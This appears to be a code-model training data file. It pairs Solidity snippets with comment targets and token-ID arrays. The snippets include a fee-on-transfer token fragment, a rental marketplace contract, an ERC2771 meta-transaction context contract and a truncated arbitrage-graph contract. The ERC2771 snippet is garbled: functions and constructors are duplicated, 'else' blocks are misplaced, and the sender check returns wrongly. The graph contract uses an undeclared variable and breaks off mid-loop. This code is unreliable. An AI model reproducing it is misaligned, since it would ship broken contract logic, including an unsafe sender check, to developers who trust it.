contractTokenBalance.sub(tokensToLiquify); uint initialBalance = address(this).balance; swapTokensForEth(tokensToLiquify); uint256 newBalance = address(this).balance.sub(initialBalance); uint forLiquidity = newBalance.div(6).mul(1); uint forPedigree = forLiquidity; payable(address(logistics)).transfer(forPedigree); addLiquidity(tokensToPair, forLiquidity); emit SwapAndLiquify(tokensToLiquify,newBalance,tokensToPair); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),block.timestamp); } function swapETHforAltTokens(uint ethAmount) private { address[] memory path = new address[](2); path[0] = uniswapV2Router.WETH(); path[1] = address(altContract); _approve(address(this), address(uniswapV2Router), ethAmount); uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: ethAmount}(ethAmount,path,address(animalSanctuary),block.timestamp); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}(address(this),tokenAmount,0,0,address(animalSanctuary),block.timestamp); } receive() external payable {} }
eth router 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D viperswap harmony 0xf012702a5f0e54015362cBCA26a26fc90AA832a3 pancakeswap v2 BSC 0x10ED43C718714eb63d5aA57B78B54704E256024E eth + bsc animalSanctuary = 0x4A462404ca4b7caE9F639732EB4DaB75d6E88d19
constructor() { _balances[msg.sender] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); _swapAndLiquifyEnabled = true; swapInProgress = false; logistics = msg.sender; numOfTX = 0; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _tokensAmountToLiquify = 1000 * DecimalFactor ; }
2,316,425
[ 1, 546, 4633, 374, 92, 27, 69, 26520, 72, 4313, 5082, 38, 24, 71, 42, 25, 5520, 27, 5520, 72, 42, 22, 39, 25, 72, 37, 7358, 24, 71, 26, 6162, 42, 3247, 5482, 40, 26180, 414, 91, 438, 17895, 2586, 93, 374, 5841, 1611, 5324, 3103, 69, 25, 74, 20, 73, 6564, 1611, 25, 5718, 22, 71, 38, 3587, 5558, 69, 5558, 7142, 9349, 5284, 28, 1578, 69, 23, 2800, 71, 3223, 91, 438, 331, 22, 605, 2312, 374, 92, 2163, 2056, 8942, 39, 27, 2643, 27, 3461, 24008, 4449, 72, 25, 69, 37, 10321, 38, 8285, 38, 6564, 27, 3028, 41, 5034, 3103, 24, 41, 13750, 397, 324, 1017, 392, 2840, 55, 304, 299, 24335, 273, 374, 92, 24, 37, 8749, 3247, 3028, 5353, 24, 70, 27, 5353, 41, 29, 42, 4449, 10580, 1578, 29258, 24, 40, 69, 38, 5877, 72, 26, 41, 5482, 72, 3657, 2, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0 ]
[ 1, 565, 3885, 1435, 288, 203, 3639, 389, 70, 26488, 63, 3576, 18, 15330, 65, 273, 389, 4963, 3088, 1283, 31, 377, 203, 3639, 3626, 12279, 12, 2867, 12, 20, 3631, 389, 3576, 12021, 9334, 389, 4963, 3088, 1283, 1769, 203, 540, 203, 3639, 389, 22270, 1876, 48, 18988, 1164, 1526, 273, 638, 31, 203, 3639, 7720, 13434, 273, 629, 31, 203, 540, 203, 4202, 613, 4287, 273, 1234, 18, 15330, 31, 7010, 4202, 23153, 16556, 273, 374, 31, 203, 540, 203, 1850, 203, 540, 203, 3639, 640, 291, 91, 438, 58, 22, 4154, 273, 467, 984, 291, 91, 438, 58, 22, 1733, 24899, 318, 291, 91, 438, 58, 22, 8259, 18, 6848, 1435, 2934, 2640, 4154, 12, 2867, 12, 2211, 3631, 389, 318, 291, 91, 438, 58, 22, 8259, 18, 59, 1584, 44, 10663, 203, 3639, 640, 291, 91, 438, 58, 22, 8259, 273, 389, 318, 291, 91, 438, 58, 22, 8259, 31, 203, 540, 203, 3639, 389, 7860, 6275, 774, 48, 18988, 1164, 273, 4336, 380, 11322, 6837, 274, 203, 565, 289, 203, 377, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT // DRentforcement // A Decentralized C2C Renting Platform // Contract for basic renting functions pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; // importing the library import './BokkyPooBahsDateTimeLibrary.sol'; contract Rentforcement { // using the library for uint256/uint using BokkyPooBahsDateTimeLibrary for uint256; // NOTE FOR USING TIMESTAMPS // THE LIBRARY FOLLOWS ANOTHER TIMEZONE // HENCE, +5.30 HRS NEEDS TO BE DONE, BEFORE PASSING TIMESTAMP // ALSO, -5.30 HRS NEEDS TO BE DONE, AFTER RETREIVING TIMESTAMP uint256 constant TIME_PERIOD = 19800; // dummy variable uint256 dummy = 0; // user structure struct User { address userAccountAddress; string userName; string userEmail; string userPhone; string userAddress; string userCity; string userState; bool isValid; } // Product structure struct Product { uint256 productId; // id of product string productName; // name of product string productDesc; // product description uint256 productPrice; // price of product per day in wei (1 ether = 10^18 wei) string productImage; // image of product address productOwner; // Owner of the product uint256 productPeriod; // number of days product is on rent uint256 lastDateAvailable; // storing the last date until which the product is available bool isAvailableNow; // Is product available now i.e. is product active bool[] isNotAvailable; // Array containing per day availability of product } // order structure struct Order { uint256 productId; uint256 startDate; uint256 endDate; uint256 valuePaid; uint256 valueInDeposit; address user; } // ID's for product and user uint256 public productId; // global id uint256 public userId; // global id uint256 public orderId; // global id // mapping of userid with useraddress mapping(uint256 => address) public userAddress; // mapping of address with user object mapping(address => User) public users; // mapping of productid with product object mapping(uint256 => Product) public products; // mapping of user address with product count mapping(address => uint32) public userProductCount; // mapping of order id to order object mapping(uint256 => Order) public orders; // Add emit events here // Function to add new users // INPUT PARAMS // string userName; // string userEmail; // string userPhone; // string userAddress; // string userCity; // string userState; function createNewUser( string memory _userName, string memory _userEmail, string memory _userPhone, string memory _userAddress, string memory _userCity, string memory _userState ) public returns (bool) { // creating an object User memory _user = User( msg.sender, _userName, _userEmail, _userPhone, _userAddress, _userCity, _userState, true ); // saving to mapping userAddress[userId] = msg.sender; users[msg.sender] = _user; // emit event here // increment the user count userId += 1; return true; } // modifier for checking user validity modifier isUserValid(address userAdd) { require(users[userAdd].isValid); _; } // Function for updating user // INPUT Params: updated user fields function updateUser( string memory _userName, string memory _userEmail, string memory _userPhone, string memory _userAddress, string memory _userCity, string memory _userState ) external isUserValid(msg.sender) returns (bool) { address sender = msg.sender; require( users[sender].userAccountAddress == sender, "you don't have edit access!" ); users[msg.sender].userName = _userName; users[msg.sender].userEmail = _userEmail; users[msg.sender].userPhone = _userPhone; users[msg.sender].userAddress = _userAddress; users[msg.sender].userCity = _userCity; users[msg.sender].userState = _userState; return true; } // Function for adding product on rent // INPUT PARAMS // _productName: Name of product // _productDesc: Description of product // _numberOfDays: Number of days, product is available on rent // _perDayPrice: Per day price of product function addProductOnRent( string memory _productName, string memory _productDesc, uint256 _numberOfDays, uint256 _perDayPrice, string memory _productImage ) public returns (bool) { // setting the startdate (uint256 year, uint256 month, uint256 day) = BokkyPooBahsDateTimeLibrary.timestampToDate(block.timestamp + TIME_PERIOD); uint256 startDate = BokkyPooBahsDateTimeLibrary.timestampFromDate(year, month, day); startDate = startDate - TIME_PERIOD; // calculating the enddate uint256 endDate = uint256(startDate + _numberOfDays * 1 days) - 1; // creating a object of product in memory Product memory product = Product( productId, _productName, _productDesc, _perDayPrice, _productImage, msg.sender, _numberOfDays, endDate, true, new bool[](_numberOfDays) ); // add object to permanant storage products[productId] = product; // increment count to product count mapping userProductCount[msg.sender] += 1; // emit event here // Incrementing the product ID productId += 1; return true; } // Modifier to check whether product on rent is active or not modifier isProductActive(bool _isAvailableNow) { require(_isAvailableNow); _; } // Another Modifier to check whether product has expired or not // Function to edit product on rent // Can only be done by Owner // Uses modifier isProductActive // INPUT PARAMS // _id: The ID of product // _updatedName: Updated name of product // _updatedDesc: Updated description of product // _updatedNumberOfDays: Updated number of days, product is available on rent // _updatedPerDayPrice: Updated Per day price of product /* function editProductOnRent( uint256 _id, string memory _updatedName, string memory _updatedDesc, uint256 _updatedNumberOfDays, uint256 _updatedPerDayPrice, string memory _updatedProductImage ) external isProductActive(products[_id].isAvailableNow) returns (bool) { // Assert that property is only edited by owner and not by any external contract require( products[_id].productOwner == msg.sender, "you don't have edit access" ); // setting the startdate (uint256 year, uint256 month, uint256 day) = BokkyPooBahsDateTimeLibrary.timestampToDate(block.timestamp); uint256 startDate = BokkyPooBahsDateTimeLibrary.timestampFromDate(year, month, day); // calculating the enddate uint256 endDate = uint256(startDate + _updatedNumberOfDays * 1 days); // Assert that number of days are not reduced require( endDate < products[_id].lastDateAvailable, "sorry, you can't decrease the available days on rent" ); // Make new memory array for storing bool[] memory newIsAvailable = new bool[](_updatedNumberOfDays); for (uint256 i = 0; i < products[_id].isAvailable.length; i++) { newIsAvailable[i] = products[_id].isAvailable[i]; } // update product instance products[_id].productName = _updatedName; products[_id].productDesc = _updatedDesc; products[_id].productPrice = _updatedPerDayPrice; products[_id].productImage = _updatedProductImage; products[_id].productPeriod = _updatedNumberOfDays; products[_id].lastDateAvailable = endDate; products[_id].isAvailable = newIsAvailable; return true; }*/ // Function to borrow product here // checks availability of product for given dates function checkAvailability(uint256 _id, uint256 startDate, uint256 numberOfDays) public view returns(bool) { // check whether current time is greater than last date available require( block.timestamp <= products[_id].lastDateAvailable, 'Sorry, product no longer on rent!' ); // calculate the enddate // start date in form of timestamp for beginning of day! uint256 endDate = uint256(startDate + numberOfDays * 1 days); // check whether enddate is greater than the last product available date require( endDate <= products[_id].lastDateAvailable, 'Sorry, the product is not available in the given time range!' ); // get start index for array! uint256 startIndex = getRentIndex(_id, startDate); // checking the boolean array for (uint256 i = startIndex; i < (startIndex + numberOfDays); i++) { // check if value is true or not if (products[_id].isNotAvailable[i] == true) { revert('Sorry, the product is not available for selected dates!'); } } // if reached here, product is available return true; } function getRentIndex(uint256 _id, uint256 startDate) public view returns(uint256) { uint256 productStartDate = products[_id].lastDateAvailable + 1 - products[_id].productPeriod * 1 days; uint256 startIndex = BokkyPooBahsDateTimeLibrary.diffDays(productStartDate, startDate); return startIndex; } /* function dummyFunction() public pure returns(uint) { // uint256 productStartDate = products[_id].lastDateAvailable + 1 - products[_id].productPeriod * 1 days; uint256 productStartDate = BokkyPooBahsDateTimeLibrary.timestampFromDate(2020, 9, 11); // (uint year, uint month, uint day, uint hour, uint minute, uint second) = BokkyPooBahsDateTimeLibrary.timestampToDateTime(productStartDate); // return (year, month, day, hour, minute, second); return productStartDate; }*/ // 1599683400 /* function dummyFunction1() public pure returns(uint, uint, uint, uint, uint, uint) { (uint year, uint month, uint day, uint h, uint m, uint s) = BokkyPooBahsDateTimeLibrary.timestampToDateTime(1599683400 + 19800); return (year, month, day, h, m, s); }*/ function makePayment(address beneficiary, uint256 value) internal { // make payment // address dummybeneficiary = beneficiary; // dummybeneficiary = 0xED0E32B5E67F2785F90b70c42296Ee89d5f39160; address(uint160(beneficiary)).transfer(value); } function placeOrder(uint256 _productId, uint256 startDate, uint256 numberOfDays) public payable returns(bool) { uint256 price = products[_productId].productPrice * numberOfDays; // add deposit amt here! uint256 depositAmount = 0; require( msg.value == price, 'Sent insufficient funds' ); // transfer funds makePayment(products[_productId].productOwner, price); // all conditions fulfilled and funds transferred! // create new order createOrder(_productId, msg.sender, price, depositAmount, startDate, numberOfDays); return true; } function createOrder(uint256 _productId, address user, uint256 price, uint256 deposit, uint256 startDate, uint256 numberOfDays) internal { // get the product instance Product storage product = products[_productId]; // change the boolean array for the booking! uint256 startIndex = getRentIndex(_productId, startDate); for (uint256 i = startIndex; i < (startIndex + numberOfDays); i++) { product.isNotAvailable[i] = true; } // calculate the timestamp for endDate (for Order instance) uint256 endDate = startDate + (numberOfDays * 1 days) - 1; // creating the order object Order memory currentOrder = Order( _productId, startDate, endDate, price, deposit, user ); // storing to permanant storage orders[orderId] = currentOrder; // emit event here // increment the count orderId += 1; } // Function to fetch all products here // Used in dashboard // Checks whether product is active or not function fetchAllProducts() external view returns (Product[] memory) { // Declaring a new array in memory (nothing is stored in storage) // No gas used for external view function Product[] memory allProducts = new Product[](productId); uint256 counter = 0; // iterating over the product mapping for (uint256 i = 0; i < productId; i++) { // Only add those products which are available if (products[i].isAvailableNow == true) { // adding the specific product to array allProducts[counter] = products[i]; counter += 1; } } return allProducts; } // Function to fetch owned products // Used in dashboard // Returns products which are owned by user calling the function function fetchMyProducts() external view returns (Product[] memory) { require(userProductCount[msg.sender] > 0, "you don't have any product"); // Declaring a new array in memory (nothing is stored in storage) // No gas used for external view function Product[] memory myProducts = new Product[]( userProductCount[msg.sender] ); uint256 counter = 0; // iterating over the product mapping for (uint256 i = 0; i < productId; i++) { // checking owner if (products[i].productOwner == msg.sender) { // adding the specific product to array myProducts[counter] = products[i]; counter += 1; } } return myProducts; } // function to fetch complementary products (all others except users') function fetchRemainingProducts() external view returns (Product[] memory) { // declare an array for remaining products // size = all products - user's products uint256 ownProductsCount = userProductCount[msg.sender]; Product[] memory remainingProducts = new Product[](productId - ownProductsCount); uint256 counter = 0; // iterating over the product mapping for (uint256 i = 0; i < productId; i++) { // Only add those products which are not owned by user if (products[i].productOwner != msg.sender) { remainingProducts[counter] = products[i]; counter += 1; } } return remainingProducts; } function fetchProductFromId(uint256 _id) public view returns(Product memory) { return products[_id]; } // function to check whether user exists or not function checkIfUserExists() external view returns (bool) { return users[msg.sender].isValid; // if (keccak256(abi.encodePacked(users[msg.sender].userName)) == keccak256(abi.encodePacked(""))) } // fetch all users function fetchAllUsers() external view returns (User[] memory) { User[] memory allUsers = new User[](userId); uint256 counter = 0; for (uint256 i = 0; i < userId; i++) { allUsers[counter] = users[userAddress[i]]; counter += 1; } return allUsers; } // fetch a particular user profile function fetchUserProfle() external view returns (User memory) { return users[msg.sender]; } // fetch a particular user profile function fetchOwnerOfProduct(uint256 _productId) external view returns(User memory) { return users[products[_productId].productOwner]; } // dummy functions for testing! function getDummy() external view returns (uint256) { return dummy; } function setDummy(uint256 x) external { dummy = x; } }
importing the library
import './BokkyPooBahsDateTimeLibrary.sol';
892,952
[ 1, 5666, 310, 326, 5313, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5666, 12871, 38, 601, 18465, 52, 5161, 38, 69, 4487, 5096, 9313, 18, 18281, 13506, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/5/0x2F11bEFDE64DfD8c53E2333387e7B3658152B0D4/sources/contracts/extension/plugin/ERC2771ContextLogic.sol
* @dev Context variant with ERC2771 support./
abstract contract ERC2771ContextLogic { pragma solidity ^0.8.0; constructor(address[] memory trustedForwarder) { ERC2771ContextStorage.Data storage data = ERC2771ContextStorage.erc2771ContextStorage(); for (uint256 i = 0; i < trustedForwarder.length; i++) { data._trustedForwarder[trustedForwarder[i]] = true; } } constructor(address[] memory trustedForwarder) { ERC2771ContextStorage.Data storage data = ERC2771ContextStorage.erc2771ContextStorage(); for (uint256 i = 0; i < trustedForwarder.length; i++) { data._trustedForwarder[trustedForwarder[i]] = true; } } function isTrustedForwarder(address forwarder) public view virtual returns (bool) { ERC2771ContextStorage.Data storage data = ERC2771ContextStorage.erc2771ContextStorage(); return data._trustedForwarder[forwarder]; } function _msgSender() internal view virtual returns (address sender) { if (isTrustedForwarder(msg.sender)) { assembly { sender := shr(96, calldataload(sub(calldatasize(), 20))) } return msg.sender; } } function _msgSender() internal view virtual returns (address sender) { if (isTrustedForwarder(msg.sender)) { assembly { sender := shr(96, calldataload(sub(calldatasize(), 20))) } return msg.sender; } } function _msgSender() internal view virtual returns (address sender) { if (isTrustedForwarder(msg.sender)) { assembly { sender := shr(96, calldataload(sub(calldatasize(), 20))) } return msg.sender; } } } else { function _msgData() internal view virtual returns (bytes calldata) { if (isTrustedForwarder(msg.sender)) { return msg.data[:msg.data.length - 20]; return msg.data; } } function _msgData() internal view virtual returns (bytes calldata) { if (isTrustedForwarder(msg.sender)) { return msg.data[:msg.data.length - 20]; return msg.data; } } } else { }
11,607,322
[ 1, 1042, 5437, 598, 4232, 39, 22, 4700, 21, 2865, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 17801, 6835, 4232, 39, 22, 4700, 21, 1042, 20556, 288, 203, 683, 9454, 18035, 560, 3602, 20, 18, 28, 18, 20, 31, 203, 203, 565, 3885, 12, 2867, 8526, 3778, 13179, 30839, 13, 288, 203, 3639, 4232, 39, 22, 4700, 21, 1042, 3245, 18, 751, 2502, 501, 273, 4232, 39, 22, 4700, 21, 1042, 3245, 18, 12610, 22, 4700, 21, 1042, 3245, 5621, 203, 203, 3639, 364, 261, 11890, 5034, 277, 273, 374, 31, 277, 411, 13179, 30839, 18, 2469, 31, 277, 27245, 288, 203, 5411, 501, 6315, 25247, 30839, 63, 25247, 30839, 63, 77, 13563, 273, 638, 31, 203, 3639, 289, 203, 565, 289, 203, 203, 565, 3885, 12, 2867, 8526, 3778, 13179, 30839, 13, 288, 203, 3639, 4232, 39, 22, 4700, 21, 1042, 3245, 18, 751, 2502, 501, 273, 4232, 39, 22, 4700, 21, 1042, 3245, 18, 12610, 22, 4700, 21, 1042, 3245, 5621, 203, 203, 3639, 364, 261, 11890, 5034, 277, 273, 374, 31, 277, 411, 13179, 30839, 18, 2469, 31, 277, 27245, 288, 203, 5411, 501, 6315, 25247, 30839, 63, 25247, 30839, 63, 77, 13563, 273, 638, 31, 203, 3639, 289, 203, 565, 289, 203, 203, 565, 445, 353, 16950, 30839, 12, 2867, 364, 20099, 13, 1071, 1476, 5024, 1135, 261, 6430, 13, 288, 203, 3639, 4232, 39, 22, 4700, 21, 1042, 3245, 18, 751, 2502, 501, 273, 4232, 39, 22, 4700, 21, 1042, 3245, 18, 12610, 22, 4700, 21, 1042, 3245, 5621, 203, 3639, 327, 501, 6315, 25247, 30839, 63, 1884, 20099, 15533, 203, 565, 289, 203, 203, 565, 2 ]
pragma solidity ^0.5.0; import "./Graph.sol"; import "./SafeMath.sol"; import "./Agreement.sol"; contract MainGraph { using SafeMath for uint256; int256 public constant MAX_INT = int256(~(uint256(1) << 255)); uint256 constant MAX_UINT = ~uint256(0); address public netereumAddress; address[] confirmedCoordinators; uint256 public numberOfCoordinators = 0; // constructor(address _netereumAddress) public // { // netereumAddress = _netereumAddress; // } function setNetereum(address addr) public { netereumAddress = addr; } mapping(address => Graph.Node) public nodes; mapping(uint256 => Graph.Edge) public edges; uint256 public numberOfNodes; uint256 public numberOfEdges; function addNode(address coordinator) public { require(msg.sender == netereumAddress); nodes[coordinator].coordinator = coordinator; numberOfNodes ++; nodes[coordinator].isInserted = true; confirmedCoordinators.push(coordinator); numberOfCoordinators++; } mapping(address => mapping(address => uint256)) public edgeIndex;/* a mapping that maps a combined key containing the source coordinator and the destination coordinator to the index + 1 of that edge in the edges array*/ function addEdge(address sourceCoordinator, address destinationCoordinator, uint256 exchangeRate,int256 exchangeRateLog,uint8 reverse,uint256 sourceAmount,address agreementAddress,uint8 flag) // if flag = 0, then the function has been called normally otherwise the edge may create a negative cycle thus an additional algorithm will be executed internal { if (nodes[sourceCoordinator].isInserted && nodes[destinationCoordinator].isInserted) { uint256 index = edgeIndex[sourceCoordinator][destinationCoordinator]; if (index == 0)//it means that this edge is a new edge { edges[numberOfEdges].source = sourceCoordinator; edges[numberOfEdges].destination = destinationCoordinator; edges[numberOfEdges].weights[0].exchangeRate = exchangeRate; edges[numberOfEdges].weights[0].exchangeRateLog = exchangeRateLog; edges[numberOfEdges].weights[0].reverse = reverse; edges[numberOfEdges].weights[0].sourceAmount = sourceAmount; edges[numberOfEdges].weights[0].agreementAddress = agreementAddress; edges[numberOfEdges].numberOfWeights++; numberOfEdges++; edgeIndex[sourceCoordinator][destinationCoordinator] = numberOfEdges; } else { uint256 index2 = 0; index --; for (index2 = 0; index2 < edges[index].numberOfWeights; index2 ++) if (edges[index].weights[index2].agreementAddress == agreementAddress) break; if (index2 == edges[index].numberOfWeights)// if the associated weight element was not found { edges[index].weights[edges[index].numberOfWeights].exchangeRate = exchangeRate; edges[index].weights[edges[index].numberOfWeights].exchangeRateLog = exchangeRateLog; edges[index].weights[edges[index].numberOfWeights].sourceAmount = sourceAmount; edges[index].weights[edges[index].numberOfWeights].reverse = reverse; edges[index].weights[edges[index].numberOfWeights].agreementAddress = agreementAddress; edges[index].numberOfWeights++; if (exchangeRate < edges[index].weights[edges[index].minIndex].exchangeRate) { edges[index].minIndex = edges[index].numberOfWeights - 1; } } else { edges[index].weights[index2].sourceAmount += sourceAmount; } } if(flag == 1) { if(exchangeRateLog > 0) return; else { //running the bellman ford with source = sourceCoordinator while(true) { for (uint256 i = 0; i < numberOfCoordinators; i++) { if (nodes[confirmedCoordinators[i]].coordinator == sourceCoordinator) { nodes[confirmedCoordinators[i]].distance = 0; } else { nodes[confirmedCoordinators[i]].distance = MAX_INT; } nodes[confirmedCoordinators[i]].parent = address(0); //SHOULD BE MODIFIED } /*the Bellman-Ford algorithm for finding the shortest path and distance between our source coordinator and destination coordinator*/ for (uint i = 1; i < numberOfNodes; i++)// we can use number of coordinators instead of number of nodes { for (uint j = 0; j < numberOfEdges; j++) { if (nodes[edges[j].source].distance != MAX_INT && nodes[edges[j].source].distance + edges[j].weights[edges[j].minIndex].exchangeRateLog < nodes[edges[j].destination].distance) { nodes[edges[j].destination].distance = nodes[edges[j].source].distance + edges[j].weights[edges[j].minIndex].exchangeRateLog; nodes[edges[j].destination].parent = edges[j].source; } } } address tempDestination ; bool containsNegativeCycle = false; for (uint256 j = 0; j < numberOfEdges; j++) { if (nodes[edges[j].source].distance != MAX_INT && nodes[edges[j].source].distance + edges[j].weights[edges[j].minIndex].exchangeRateLog < nodes[edges[j].destination].distance) { indexxx++; tempDestination = nodes[edges[j].destination].coordinator; containsNegativeCycle = true; break; } } if(!containsNegativeCycle) break; else { uint256 transferAmount = 0; uint256 destAmount = 0; address [] memory cycle = new address[](2 * numberOfEdges);//array of the indexes of the edges uint256 cycleLength = 0; address tempDestination2 = tempDestination; while (true) { cycle[cycleLength] = tempDestination; cycle[cycleLength + 1] = nodes[tempDestination].parent; cycleLength += 2; // path.push(tempDestination); // path.push(nodes[tempDestination].parent); tempDestination = nodes[tempDestination].parent; if(tempDestination == tempDestination2) break; } for(uint256 i = cycleLength - 1;i >= 1 ; i-=2) { index = edgeIndex[cycle[i]][cycle[i-1]] - 1; if(i == cycleLength - 1) { if(edges[index].weights[edges[index].minIndex].reverse == 0) { transferAmount = (edges[index].weights[edges[index].minIndex].sourceAmount * 1000000)/ edges[index].weights[edges[index].minIndex].exchangeRate ; } else { uint256 temp = edges[index].weights[edges[index].minIndex].sourceAmount *edges[index].weights[edges[index].minIndex].exchangeRate; transferAmount = temp/ 1000000; if(temp % 1000000 != 0) transferAmount++;//for getting the upper bound of the result in the division } } else if(i < cycleLength - 1) { if(transferAmount > edges[index].weights[edges[index].minIndex].sourceAmount ) transferAmount = edges[index].weights[edges[index].minIndex].sourceAmount; if(edges[index].weights[edges[index].minIndex].reverse == 0) { transferAmount = (transferAmount *1000000) / edges[index].weights[edges[index].minIndex].exchangeRate; } else { uint256 temp = transferAmount * edges[index].weights[edges[index].minIndex].exchangeRate; transferAmount = temp / 1000000 ; if(temp % 1000000 != 0) transferAmount++; } } // pathAmounts[cycleLength - 1 - i] = transferAmount; if(i == 1) break; } for(uint256 i = 0;i < cycleLength ; i+=2) { 